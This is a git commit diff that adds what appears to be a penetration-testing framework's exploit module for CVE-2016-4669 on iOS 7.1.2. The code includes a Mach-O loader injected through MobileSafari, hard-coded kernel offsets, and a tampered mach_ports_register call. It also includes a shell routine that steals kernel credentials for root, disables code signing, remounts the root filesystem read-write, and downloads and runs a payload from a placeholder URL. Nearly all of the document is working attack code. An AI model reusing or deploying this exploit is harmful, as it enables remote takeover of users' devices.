Add module for iOS 7.1.2
This commit is contained in:
parent
016e2bdf15
commit
79adcf7904
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,23 @@
|
|||
GCC_BIN_IOS=`xcrun --sdk iphoneos -f gcc`
|
||||
GCC_BASE_IOS=$(GCC_BIN_IOS)
|
||||
SDK_IOS=`xcrun --sdk iphoneos --show-sdk-path`
|
||||
GCC_IOS_32=$(GCC_BASE_IOS) $(CFLAGS_32) -arch armv7 -isysroot $(SDK_IOS) \
|
||||
-Iheaders
|
||||
|
||||
all: clean loader macho
|
||||
|
||||
loader:
|
||||
$(GCC_IOS_32) -mthumb -shared -O0 loader.c -o loader
|
||||
python macho_to_bin.py loader
|
||||
|
||||
macho:
|
||||
$(GCC_IOS_32) -O0 -fmodules -mthumb macho.m task.c utils.m shell.m -o macho
|
||||
|
||||
install: loader.bin macho
|
||||
mkdir -p ../../../../data/exploits/CVE-2016-4669/
|
||||
cp loader.bin ../../../../data/exploits/CVE-2016-4669/
|
||||
cp macho ../../../../data/exploits/CVE-2016-4669/
|
||||
|
||||
clean:
|
||||
rm -f *.o loader.bin loader macho
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
#ifndef _task_user_
|
||||
#define _task_user_
|
||||
|
||||
/* Module task */
|
||||
|
||||
#include <string.h>
|
||||
#include <mach/ndr.h>
|
||||
#include <mach/boolean.h>
|
||||
#include <mach/kern_return.h>
|
||||
#include <mach/notify.h>
|
||||
#include <mach/mach_types.h>
|
||||
#include <mach/message.h>
|
||||
#include <mach/mig_errors.h>
|
||||
#include <mach/port.h>
|
||||
|
||||
#ifndef KERNEL
|
||||
#if defined(__has_include)
|
||||
#if __has_include(<mach/mig_voucher_support.h>)
|
||||
#ifndef USING_VOUCHERS
|
||||
#define USING_VOUCHERS
|
||||
#endif
|
||||
#ifndef __VOUCHER_FORWARD_TYPE_DECLS__
|
||||
#define __VOUCHER_FORWARD_TYPE_DECLS__
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
#endif // __VOUCHER_FORWARD_TYPE_DECLS__
|
||||
#endif // __has_include(<mach/mach_voucher_types.h>)
|
||||
#endif // __has_include
|
||||
#endif // !KERNEL
|
||||
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
typedef struct {
|
||||
mach_msg_header_t Head;
|
||||
NDR_record_t NDR;
|
||||
kern_return_t RetCode;
|
||||
} __Reply__mach_ports_register_t __attribute__((unused));
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack()
|
||||
#endif
|
||||
|
||||
|
||||
#endif
|
|
@ -0,0 +1,190 @@
|
|||
// [1] https://iokit.racing/machotricks.pdf
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/swap.h>
|
||||
#include <mach-o/dyld_images.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
// targeting a specific version of os
|
||||
// on a specific device we can use hard coded
|
||||
// offsets
|
||||
#define JSCELL_DESTROY 0x2e49e345
|
||||
// this one was extracted at runtime, cause
|
||||
// the one from the ipsw was not the same as on the phone
|
||||
#define DLSYM_BASE 0x381227d0
|
||||
#define DYLD_START 0x1028
|
||||
|
||||
#define MINU(a,b) ((unsigned)(a) < (unsigned)(b) ? a : b)
|
||||
|
||||
typedef void * (* dlsym_t)(void *restrict handle, const char *restrict name);
|
||||
typedef int (* printf_t)(const char * format, ... );
|
||||
typedef unsigned int (* sleep_t)(unsigned int seconds);
|
||||
typedef int (* _fprintf)(FILE *stream, const char *format, ...);
|
||||
typedef void * (* dlopen_t)(const char* path, int mode);
|
||||
typedef void * (* malloc_t)(size_t size);
|
||||
|
||||
typedef kern_return_t (* task_info_fn_t)(task_t target_task,
|
||||
int flavor, task_info_t task_info,
|
||||
mach_msg_type_number_t *task_info_count);
|
||||
|
||||
typedef mach_port_t (* mach_task_self_t)(void);
|
||||
typedef char (* strcpy_t)(char *dest, const char *src);
|
||||
|
||||
// @see dyldStartup.s
|
||||
struct dyld_params
|
||||
{
|
||||
void *base;
|
||||
// this is set up to have only one param,
|
||||
// binary name
|
||||
unsigned argc;
|
||||
// bin name and NULL
|
||||
void * argv[2];
|
||||
// NULL
|
||||
void * env[1];
|
||||
// NULL
|
||||
void * apple[2];
|
||||
char strings[];
|
||||
};
|
||||
|
||||
void next(uintptr_t JSCell_destroy, void *macho, unsigned pc);
|
||||
|
||||
void __magic_start() {
|
||||
asm("mov r0, #0");
|
||||
asm("mov r0, #0");
|
||||
asm("mov r0, #0");
|
||||
asm("mov r0, #0");
|
||||
}
|
||||
|
||||
// In the MobileSafari part we place two arguments
|
||||
// right before the first instruction of the loader.
|
||||
// Extract them and place them as next arguments
|
||||
__attribute__((naked)) void start()
|
||||
{
|
||||
asm("ldr r1, [pc,#-0xC]");
|
||||
asm("ldr r0, [pc,#-0xC]");
|
||||
asm("mov r2, pc");
|
||||
asm("b _next");
|
||||
}
|
||||
|
||||
static void __copy(void *dst, void *src, size_t n)
|
||||
{
|
||||
do {
|
||||
*(char *)dst = *(char *)src;
|
||||
dst++;
|
||||
src++;
|
||||
} while (--n);
|
||||
}
|
||||
|
||||
// We map macho file into jit memory.
|
||||
// The details are outlined in [1].
|
||||
void * map_macho(void *macho, void *base)
|
||||
{
|
||||
void *macho_base = (void *)-1;
|
||||
struct mach_header *header = macho;
|
||||
union {
|
||||
struct load_command *cmd;
|
||||
struct segment_command *segment;
|
||||
void *p;
|
||||
unsigned *u32;
|
||||
} commands;
|
||||
|
||||
commands.p = macho + sizeof(struct mach_header);
|
||||
|
||||
// we assume that the loading address is 0
|
||||
// since we are in control of macho file
|
||||
for (int i=0; i<header->ncmds; i++) {
|
||||
// LC_SEGMENT command
|
||||
if (commands.cmd->cmd == 1) {
|
||||
|
||||
if (commands.segment->filesize == 0)
|
||||
goto next_cmd;
|
||||
|
||||
macho_base = MINU(macho_base, base + commands.segment->vmaddr);
|
||||
__copy(base + commands.segment->vmaddr,
|
||||
macho + commands.segment->fileoff,
|
||||
commands.segment->filesize);
|
||||
}
|
||||
|
||||
next_cmd:
|
||||
commands.p += commands.cmd->cmdsize;
|
||||
}
|
||||
|
||||
return macho_base;
|
||||
}
|
||||
|
||||
void next(uintptr_t JSCell_destroy, void *macho, unsigned pc)
|
||||
{
|
||||
// structure describing the stack layout
|
||||
// expected by the macho loader of ios
|
||||
//
|
||||
// The detail are in dyldStartup.s file of dyld source code.
|
||||
// https://opensource.apple.com/source/dyld/dyld-421.1/src/dyldStartup.s.auto.html
|
||||
struct dyld_params *__sp;
|
||||
|
||||
// resolve functions we are going to use
|
||||
unsigned slide = JSCell_destroy - JSCELL_DESTROY;
|
||||
dlsym_t _dlsym = (dlsym_t)(DLSYM_BASE + slide + 1);
|
||||
malloc_t _malloc = _dlsym(RTLD_DEFAULT, "malloc");
|
||||
strcpy_t _strcpy = _dlsym(RTLD_DEFAULT, "strcpy");
|
||||
|
||||
task_info_fn_t _task_info = _dlsym(RTLD_DEFAULT, "task_info");
|
||||
mach_task_self_t _mach_task_self = _dlsym(RTLD_DEFAULT, "mach_task_self");
|
||||
|
||||
mach_port_t self = _mach_task_self();
|
||||
task_dyld_info_data_t info;
|
||||
struct dyld_all_image_infos *infos;
|
||||
|
||||
// We need __dyld_start address to load a macho file,
|
||||
// We call task_info to get dyld base and use hard coded offset
|
||||
// to get __dyld_start pointer.
|
||||
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
|
||||
kern_return_t kr = _task_info(self, TASK_DYLD_INFO, (task_info_t)&info, &count);
|
||||
|
||||
infos = (struct dyld_all_image_infos *)info.all_image_info_addr;
|
||||
void *dyld = (void *)infos->dyldImageLoadAddress;
|
||||
void (* __dyld_start)() = (dyld + DYLD_START);
|
||||
|
||||
// get page aligned address a bit further after
|
||||
// the loader and map the macho down there.
|
||||
void *base = (void *) (pc & ~PAGE_MASK);
|
||||
base += 0x40000;
|
||||
base = map_macho(macho, base);
|
||||
|
||||
// allocate stack for out executable
|
||||
__sp = _malloc(0x800000) + 0x400000;
|
||||
|
||||
// setup up our fake stack
|
||||
__sp->base = base;
|
||||
__sp->argc = 1;
|
||||
__sp->argv[0] = &__sp->strings;
|
||||
__sp->argv[1] = NULL;
|
||||
__sp->env[0] = NULL;
|
||||
|
||||
__sp->apple[0] = &__sp->strings;
|
||||
__sp->apple[1] = NULL;
|
||||
|
||||
// it's required to have argv[0]
|
||||
_strcpy(__sp->strings, "/bin/bin");
|
||||
|
||||
// call __dyld_start
|
||||
__asm__ ("ldr r0, %[f];"
|
||||
"ldr r1, %[v];"
|
||||
"mov sp, r1;"
|
||||
"bx r0;"
|
||||
: // no output
|
||||
: [v]"m"(__sp), [f]"m"(__dyld_start)
|
||||
);
|
||||
}
|
||||
|
||||
#if 1
|
||||
void __magic_end() {
|
||||
asm("mov r0, #1");
|
||||
asm("mov r0, #1");
|
||||
asm("mov r0, #1");
|
||||
asm("mov r0, #1");
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,11 @@
|
|||
#ifndef MACHO_H
|
||||
#define MACHO_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include "utils.h"
|
||||
|
||||
uint32_t kr32(addr_t from);
|
||||
uint32_t kw32(addr_t to, uint32_t v);
|
||||
void kread(uint64_t from, void *to, size_t size);
|
||||
|
||||
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,27 @@
|
|||
import sys
|
||||
import base64
|
||||
|
||||
fd = open(sys.argv[1], 'rb')
|
||||
macho = fd.read()
|
||||
fd.close()
|
||||
|
||||
magic_start = "\x4F\xF0\x00\x00"*4
|
||||
magic_end = "\x4F\xF0\x01\x00"*4
|
||||
|
||||
start = macho.find(magic_start) + len(magic_start) + 2
|
||||
end = macho.find(magic_end)
|
||||
end = (end & 0xfff0) + 0x10
|
||||
|
||||
print("real len: 0x%x" % (end - start))
|
||||
|
||||
blob = macho[start:start+0x400]
|
||||
print("code start: 0x%x" % start)
|
||||
print("code end: 0x%x" % end)
|
||||
|
||||
fd = open(sys.argv[1] + ".b64", "wb+")
|
||||
fd.write(base64.b64encode(blob))
|
||||
fd.close()
|
||||
|
||||
fd = open(sys.argv[1] + ".bin", "wb+")
|
||||
fd.write(blob)
|
||||
fd.close()
|
|
@ -0,0 +1,35 @@
|
|||
#ifndef OFFSETS_H
|
||||
#define OFFSETS_H
|
||||
|
||||
#define IP_OBJECT_io_bits 0
|
||||
#define IP_OBJECT_io_references 4
|
||||
#define IP_OBJECT_io_lock_data_lock 8
|
||||
#define IP_OBJECT_io_lock_data_type 0x10
|
||||
|
||||
#define IPC_PORT_ip_messages_imq_wait_queue 0x18
|
||||
#define IPC_PORT_ip_messages_imq_next 0x1c
|
||||
#define IPC_PORT_ip_messages_imq_prev 0x20
|
||||
#define IPC_PORT_ip_messages_imq_msgcount 0x28
|
||||
#define IPC_PORT_ip_messages_imq_qlimit 0x2c
|
||||
#define IPC_PORT_kobject 0x44
|
||||
#define IPC_PORT_receiver 0x40
|
||||
#define IPC_PORT_ip_requests 0x50
|
||||
#define IPC_PORT_ip_srights 0x5c
|
||||
#define IPC_PORT_flags 0x64
|
||||
#define IPC_PORT_ip_context2 0x6c
|
||||
#define IPC_PORT_ip_context 0x68
|
||||
|
||||
#define TASK_bsd_proc 0x1e8
|
||||
#define TASK_itk_space 0x1a0
|
||||
#define TASK_itk_self 0xa0
|
||||
|
||||
#define PROC_ucred 0x8c
|
||||
|
||||
#define SPACE_is_table_size 0x10
|
||||
#define SPACE_is_table 0x14
|
||||
|
||||
// mount_common
|
||||
#define VNODE_v_mount 0x84
|
||||
#define MOUNT_mnt_flags 0x3c
|
||||
|
||||
#endif
|
|
@ -0,0 +1,8 @@
|
|||
#ifndef SHELL_H
|
||||
#define SHELL_H
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
void shell_main(addr_t self_space, addr_t slide);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,171 @@
|
|||
// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/
|
||||
// [2] http://www.newosxbook.com/articles/CodeSigning.pdf
|
||||
|
||||
#include "macho.h"
|
||||
#include "utils.h"
|
||||
#include "offsets.h"
|
||||
|
||||
#define MNT_ROOTFS 0x00004000
|
||||
#define MNT_RDONLY 0x00000001
|
||||
#define MNT_NOSUID 0x00000008
|
||||
|
||||
#define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
|
||||
|
||||
static struct {
|
||||
addr_t amfi_allow_any_signature;
|
||||
addr_t cs_enforcement_disable;
|
||||
addr_t p_rootvnode;
|
||||
addr_t base;
|
||||
} koffsets = {
|
||||
.amfi_allow_any_signature = 0x807c3b30,
|
||||
.cs_enforcement_disable = 0x807c3b38,
|
||||
.p_rootvnode = 0x8038c1b4,
|
||||
.base = 0x80001000
|
||||
};
|
||||
|
||||
|
||||
addr_t get_port_addr(addr_t space, mach_port_t port)
|
||||
{
|
||||
addr_t is_table_size;
|
||||
addr_t is_table;
|
||||
addr_t addr;
|
||||
|
||||
is_table_size = kr32(space + SPACE_is_table_size);
|
||||
is_table = kr32(space + SPACE_is_table);
|
||||
addr = kr32(is_table + (port >> 8)*0x10);
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
addr_t proc_for_pid(addr_t self_proc, int pid)
|
||||
{
|
||||
addr_t next = kr32(self_proc);
|
||||
while (next != self_proc) {
|
||||
int _pid = kr32(next + 8);
|
||||
if (_pid == pid) {
|
||||
return next;
|
||||
}
|
||||
next = kr32(next);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int remount_root_rw(addr_t slide)
|
||||
{
|
||||
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
|
||||
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
|
||||
|
||||
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
|
||||
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY));
|
||||
|
||||
char* nmz = strdup("/dev/disk0s1s1");
|
||||
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
|
||||
if (ret < 0) {
|
||||
NSLog(@"mount failed ret: %d", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
NSLog(@"root fs mounted r/w");
|
||||
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int remount_root_ro(addr_t slide)
|
||||
{
|
||||
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
|
||||
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
|
||||
|
||||
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
|
||||
mnt_flags |= MNT_RDONLY;
|
||||
mnt_flags &= ~MNT_ROOTFS;
|
||||
|
||||
kw32(v_mount + MOUNT_mnt_flags, mnt_flags);
|
||||
|
||||
char* nmz = strdup("/dev/disk0s1s1");
|
||||
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
|
||||
if (ret < 0) {
|
||||
NSLog(@"mount failed ret: %d", ret);
|
||||
return -1;
|
||||
}
|
||||
NSLog(@"root fs mounted ro");
|
||||
|
||||
kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void deploy()
|
||||
{
|
||||
download(PAYLOAD_URL_PLACEHOLDER, "/bin/m");
|
||||
|
||||
pid_t pid = 0;
|
||||
char *path = "/bin/m";
|
||||
char *args[] = {path, NULL};
|
||||
int ret = posix_spawn(&pid, path, 0, 0, args, NULL);
|
||||
if (ret < 0) {
|
||||
NSLog(@"posix_spawn failed: %d", ret);
|
||||
return;
|
||||
}
|
||||
waitpid(pid, 0, 0);
|
||||
NSLog(@"shell deployed");
|
||||
}
|
||||
|
||||
void shell_main(addr_t self_space, addr_t slide)
|
||||
{
|
||||
addr_t self_addr = get_port_addr(self_space, mach_task_self());
|
||||
NSLog(@"self_addr: %lx", self_addr);
|
||||
|
||||
addr_t self_task = kr32(self_addr + IPC_PORT_kobject);
|
||||
NSLog(@"self_task: %lx", self_task);
|
||||
|
||||
addr_t self_proc = kr32(self_task + TASK_bsd_proc);
|
||||
NSLog(@"self_proc: %lx", self_proc);
|
||||
|
||||
addr_t kernel_proc = proc_for_pid(self_proc, 0);
|
||||
NSLog(@"kernel_proc: %lx", kernel_proc);
|
||||
|
||||
// privilege escalation from [1]
|
||||
addr_t self_ucred = kr32(self_proc + PROC_ucred);
|
||||
addr_t kernel_cred = kr32(kernel_proc + PROC_ucred);
|
||||
kw32(self_proc + PROC_ucred, kernel_cred);
|
||||
|
||||
NSLog(@"got root uid: %d, gid: %d", getuid(), getgid());
|
||||
|
||||
//uint32_t cs_enforcement_disable = 0;
|
||||
//size_t kernel_size = 0x1000000;
|
||||
//void *kernel = malloc(kernel_size);
|
||||
//if (kernel) {
|
||||
//kread(koffsets.base + slide, kernel, kernel_size);
|
||||
//NSLog(@"got %zu kernel bytes xx", kernel_size);
|
||||
//cs_enforcement_disable = find_cs_enforcement_disable_amfi(0, kernel, kernel_size);
|
||||
//} else {
|
||||
//NSLog(@"malloc kernel_size failed");
|
||||
//}
|
||||
//if (cs_enforcement_disable != 0) {
|
||||
//NSLog(@"patchfinder got cs_enforcement_disable: %lx",
|
||||
//cs_enforcement_disable + koffsets.base + slide);
|
||||
//koffsets.cs_enforcement_disable = cs_enforcement_disable + koffsets.base;
|
||||
//koffsets.amfi_allow_any_signature = koffsets.cs_enforcement_disable - 8;
|
||||
//} else {
|
||||
NSLog(@"patchfinder skipped!! using hardcoded offsets");
|
||||
//}
|
||||
//free(kernel);
|
||||
// disable code signing by overwriting kernel arguments
|
||||
// as described in [2]
|
||||
//
|
||||
// defeats
|
||||
// outside of container && !i_can_has_debugger
|
||||
kw32(koffsets.amfi_allow_any_signature + slide, 1);
|
||||
kw32(koffsets.cs_enforcement_disable + slide, 1);
|
||||
|
||||
// root file system remount from [1]
|
||||
remount_root_rw(slide);
|
||||
deploy();
|
||||
remount_root_ro(slide);
|
||||
|
||||
// restore credentials
|
||||
kw32(self_proc + PROC_ucred, self_ucred);
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,206 @@
|
|||
#include "__task.h"
|
||||
|
||||
#ifndef UseStaticTemplates
|
||||
#define UseStaticTemplates 0
|
||||
#endif /* UseStaticTemplates */
|
||||
|
||||
#ifndef __MachMsgErrorWithoutTimeout
|
||||
#define __MachMsgErrorWithoutTimeout(_R_) { \
|
||||
switch (_R_) { \
|
||||
case MACH_SEND_INVALID_DATA: \
|
||||
case MACH_SEND_INVALID_DEST: \
|
||||
case MACH_SEND_INVALID_HEADER: \
|
||||
mig_put_reply_port(InP->Head.msgh_reply_port); \
|
||||
break; \
|
||||
default: \
|
||||
mig_dealloc_reply_port(InP->Head.msgh_reply_port); \
|
||||
} \
|
||||
}
|
||||
#endif /* __MachMsgErrorWithoutTimeout */
|
||||
|
||||
#ifndef __AfterSendRpc
|
||||
#define __AfterSendRpc(_NUM_, _NAME_)
|
||||
#endif /* __AfterSendRpc */
|
||||
|
||||
#ifndef __BeforeSendRpc
|
||||
#define __BeforeSendRpc(_NUM_, _NAME_)
|
||||
#endif /* __BeforeSendRpc */
|
||||
|
||||
#define msgh_request_port msgh_remote_port
|
||||
#define msgh_reply_port msgh_local_port
|
||||
|
||||
#ifndef mig_internal
|
||||
#define mig_internal static __inline__
|
||||
#endif /* mig_internal */
|
||||
|
||||
#ifndef mig_external
|
||||
#define mig_external
|
||||
#endif /* mig_external */
|
||||
|
||||
#if !defined(__MigTypeCheck) && defined(TypeCheck)
|
||||
#define __MigTypeCheck TypeCheck /* Legacy setting */
|
||||
#endif /* !defined(__MigTypeCheck) */
|
||||
|
||||
#ifndef __DeclareSendRpc
|
||||
#define __DeclareSendRpc(_NUM_, _NAME_)
|
||||
#endif /* __DeclareSendRpc */
|
||||
|
||||
mig_internal kern_return_t __MIG_check__Reply__mach_ports_register_t(__Reply__mach_ports_register_t *Out0P)
|
||||
{
|
||||
|
||||
typedef __Reply__mach_ports_register_t __Reply __attribute__((unused));
|
||||
if (Out0P->Head.msgh_id != 3503) {
|
||||
if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)
|
||||
{ return MIG_SERVER_DIED; }
|
||||
else
|
||||
{ return MIG_REPLY_MISMATCH; }
|
||||
}
|
||||
|
||||
#if __MigTypeCheck
|
||||
if ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
|
||||
(Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))
|
||||
{ return MIG_TYPE_ERROR ; }
|
||||
#endif /* __MigTypeCheck */
|
||||
|
||||
{
|
||||
return Out0P->RetCode;
|
||||
}
|
||||
}
|
||||
|
||||
/* Routine mach_ports_register */
|
||||
mig_external kern_return_t __mach_ports_register
|
||||
(
|
||||
task_t target_task,
|
||||
mach_port_array_t init_port_set,
|
||||
mach_msg_type_number_t init_port_setCnt
|
||||
)
|
||||
{
|
||||
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
typedef struct {
|
||||
mach_msg_header_t Head;
|
||||
/* start of the kernel processed data */
|
||||
mach_msg_body_t msgh_body;
|
||||
mach_msg_ool_ports_descriptor_t init_port_set;
|
||||
/* end of the kernel processed data */
|
||||
NDR_record_t NDR;
|
||||
mach_msg_type_number_t init_port_setCnt;
|
||||
} Request __attribute__((unused));
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack()
|
||||
#endif
|
||||
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
typedef struct {
|
||||
mach_msg_header_t Head;
|
||||
NDR_record_t NDR;
|
||||
kern_return_t RetCode;
|
||||
mach_msg_trailer_t trailer;
|
||||
} Reply __attribute__((unused));
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack()
|
||||
#endif
|
||||
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack(4)
|
||||
#endif
|
||||
typedef struct {
|
||||
mach_msg_header_t Head;
|
||||
NDR_record_t NDR;
|
||||
kern_return_t RetCode;
|
||||
} __Reply __attribute__((unused));
|
||||
#ifdef __MigPackStructs
|
||||
#pragma pack()
|
||||
#endif
|
||||
/*
|
||||
* typedef struct {
|
||||
* mach_msg_header_t Head;
|
||||
* NDR_record_t NDR;
|
||||
* kern_return_t RetCode;
|
||||
* } mig_reply_error_t;
|
||||
*/
|
||||
|
||||
union {
|
||||
Request In;
|
||||
Reply Out;
|
||||
} Mess;
|
||||
|
||||
Request *InP = &Mess.In;
|
||||
Reply *Out0P = &Mess.Out;
|
||||
|
||||
mach_msg_return_t msg_result;
|
||||
|
||||
#ifdef __MIG_check__Reply__mach_ports_register_t__defined
|
||||
kern_return_t check_result;
|
||||
#endif /* __MIG_check__Reply__mach_ports_register_t__defined */
|
||||
|
||||
__DeclareSendRpc(3403, "mach_ports_register")
|
||||
|
||||
#if UseStaticTemplates
|
||||
const static mach_msg_ool_ports_descriptor_t init_port_setTemplate = {
|
||||
/* addr = */ (void *)0,
|
||||
/* coun = */ 0,
|
||||
/* deal = */ FALSE,
|
||||
/* copy is meaningful only in overwrite mode */
|
||||
/* copy = */ MACH_MSG_PHYSICAL_COPY,
|
||||
/* disp = */ 19,
|
||||
/* type = */ MACH_MSG_OOL_PORTS_DESCRIPTOR,
|
||||
};
|
||||
#endif /* UseStaticTemplates */
|
||||
|
||||
InP->msgh_body.msgh_descriptor_count = 1;
|
||||
#if UseStaticTemplates
|
||||
InP->init_port_set = init_port_setTemplate;
|
||||
InP->init_port_set.address = (void *)(init_port_set);
|
||||
InP->init_port_set.count = 2; // was init_port_setCnt;
|
||||
#else /* UseStaticTemplates */
|
||||
InP->init_port_set.address = (void *)(init_port_set);
|
||||
InP->init_port_set.count = 2; // was init_port_setCnt;
|
||||
InP->init_port_set.disposition = 19;
|
||||
InP->init_port_set.deallocate = FALSE;
|
||||
InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
#endif /* UseStaticTemplates */
|
||||
|
||||
|
||||
InP->NDR = NDR_record;
|
||||
|
||||
InP->init_port_setCnt = init_port_setCnt;
|
||||
|
||||
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
|
||||
MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||
/* msgh_size passed as argument */
|
||||
InP->Head.msgh_request_port = target_task;
|
||||
InP->Head.msgh_reply_port = mig_get_reply_port();
|
||||
InP->Head.msgh_id = 3403;
|
||||
|
||||
/* BEGIN VOUCHER CODE */
|
||||
|
||||
#ifdef USING_VOUCHERS
|
||||
if (voucher_mach_msg_set != NULL) {
|
||||
voucher_mach_msg_set(&InP->Head);
|
||||
}
|
||||
#endif // USING_VOUCHERS
|
||||
|
||||
/* END VOUCHER CODE */
|
||||
|
||||
__BeforeSendRpc(3403, "mach_ports_register")
|
||||
msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
